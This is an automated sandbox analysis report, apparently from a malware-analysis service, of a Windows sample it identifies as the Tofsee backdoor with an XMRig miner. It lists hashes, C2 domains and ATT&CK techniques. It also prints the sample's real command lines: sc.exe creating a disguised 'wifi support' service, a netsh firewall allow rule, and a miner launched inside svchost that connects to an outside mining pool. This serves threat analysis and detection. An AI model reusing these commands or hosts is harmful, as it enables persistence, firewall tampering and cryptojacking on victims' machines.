Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-03-2023 02:33

General

  • Target

    file.exe

  • Size

    250KB

  • MD5

    26f7d2732dc1d76aab1a6492f7f106ee

  • SHA1

    56ba7b43e686228f0aba17f3e8c6faad01efbd91

  • SHA256

    5587bfaf4c6d7b43361c99427fd1d4004d6c4c366be156dac0394733893561d1

  • SHA512

    5e8a066c512ceccab071dbad8a6eafaa76de89969e762f6ef1e6373ee32e7bb8516ba9518a4c1918711221ca7ec7dc3a6afdc10933f342659411ca30c9ca880d

  • SSDEEP

    3072:LZ4aHyaN3EldLhSfz22RsvJxW9m+niPZhDUv7dFEIFu2/bH+lev4Qj5EvLwc7w:KOyasdLA7sJ+i8vZFy8L+lDG

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1224
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wpqhyhkp\
      2⤵
        PID:4568
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\fzzrueiu.exe" C:\Windows\SysWOW64\wpqhyhkp\
        2⤵
          PID:3872
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wpqhyhkp binPath= "C:\Windows\SysWOW64\wpqhyhkp\fzzrueiu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3908
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wpqhyhkp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3964
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wpqhyhkp
          2⤵
          • Launches sc.exe
          PID:2604
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3288
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1224 -s 1036
          2⤵
          • Program crash
          PID:4760
      • C:\Windows\SysWOW64\wpqhyhkp\fzzrueiu.exe
        C:\Windows\SysWOW64\wpqhyhkp\fzzrueiu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:636
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4044
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2280
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 636 -s 512
          2⤵
          • Program crash
          PID:2888
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 1224 -ip 1224
        1⤵
          PID:2272
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 636 -ip 636
          1⤵
            PID:1556

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\fzzrueiu.exe
            Filesize

            11.4MB

            MD5

            e9891d2c15eb5153b694e5d824bd743b

            SHA1

            20a150039ef5bbb255df4b04f3844e0780302e1a

            SHA256

            308e873e57c91520aef2c2a04a0f5c61748da4d379bd31904a0dfce8153f6698

            SHA512

            ba1356f7ff4a07f3e89bba08aba126466770eab3c8cbfd04eda827e67141a2e87b133e6464d02e3e2ab1e750000915cc9eec22147000361b352fbba13f3e0b2e

          • C:\Windows\SysWOW64\wpqhyhkp\fzzrueiu.exe
            Filesize

            11.4MB

            MD5

            e9891d2c15eb5153b694e5d824bd743b

            SHA1

            20a150039ef5bbb255df4b04f3844e0780302e1a

            SHA256

            308e873e57c91520aef2c2a04a0f5c61748da4d379bd31904a0dfce8153f6698

            SHA512

            ba1356f7ff4a07f3e89bba08aba126466770eab3c8cbfd04eda827e67141a2e87b133e6464d02e3e2ab1e750000915cc9eec22147000361b352fbba13f3e0b2e

          • memory/636-144-0x0000000000400000-0x0000000000701000-memory.dmp
            Filesize

            3.0MB

          • memory/1224-134-0x0000000000890000-0x00000000008A3000-memory.dmp
            Filesize

            76KB

          • memory/1224-142-0x0000000000400000-0x0000000000701000-memory.dmp
            Filesize

            3.0MB

          • memory/1224-143-0x0000000000890000-0x00000000008A3000-memory.dmp
            Filesize

            76KB

          • memory/2280-197-0x0000000000C30000-0x0000000000D21000-memory.dmp
            Filesize

            964KB

          • memory/2280-198-0x0000000000C30000-0x0000000000D21000-memory.dmp
            Filesize

            964KB

          • memory/2280-200-0x0000000000C30000-0x0000000000D21000-memory.dmp
            Filesize

            964KB

          • memory/2280-199-0x0000000000C30000-0x0000000000D21000-memory.dmp
            Filesize

            964KB

          • memory/2280-196-0x0000000000C30000-0x0000000000D21000-memory.dmp
            Filesize

            964KB

          • memory/2280-195-0x0000000000C30000-0x0000000000D21000-memory.dmp
            Filesize

            964KB

          • memory/2280-194-0x0000000000C30000-0x0000000000D21000-memory.dmp
            Filesize

            964KB

          • memory/2280-189-0x0000000000C30000-0x0000000000D21000-memory.dmp
            Filesize

            964KB

          • memory/4044-167-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-175-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-163-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-160-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-164-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-162-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-166-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-165-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-157-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-168-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-169-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-170-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-171-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-173-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-174-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-161-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-172-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-176-0x00000000023C0000-0x00000000023D0000-memory.dmp
            Filesize

            64KB

          • memory/4044-177-0x00000000023D0000-0x00000000023D5000-memory.dmp
            Filesize

            20KB

          • memory/4044-180-0x00000000023D0000-0x00000000023D5000-memory.dmp
            Filesize

            20KB

          • memory/4044-181-0x0000000007B00000-0x0000000007F0B000-memory.dmp
            Filesize

            4.0MB

          • memory/4044-184-0x0000000007B00000-0x0000000007F0B000-memory.dmp
            Filesize

            4.0MB

          • memory/4044-185-0x00000000023E0000-0x00000000023E7000-memory.dmp
            Filesize

            28KB

          • memory/4044-154-0x00000000023B0000-0x00000000023B6000-memory.dmp
            Filesize

            24KB

          • memory/4044-153-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/4044-150-0x0000000002C00000-0x0000000002E0F000-memory.dmp
            Filesize

            2.1MB

          • memory/4044-149-0x0000000000D40000-0x0000000000D55000-memory.dmp
            Filesize

            84KB

          • memory/4044-147-0x0000000000D40000-0x0000000000D55000-memory.dmp
            Filesize

            84KB

          • memory/4044-146-0x0000000000D40000-0x0000000000D55000-memory.dmp
            Filesize

            84KB

          • memory/4044-145-0x0000000000D40000-0x0000000000D55000-memory.dmp
            Filesize

            84KB

          • memory/4044-139-0x0000000000D40000-0x0000000000D55000-memory.dmp
            Filesize

            84KB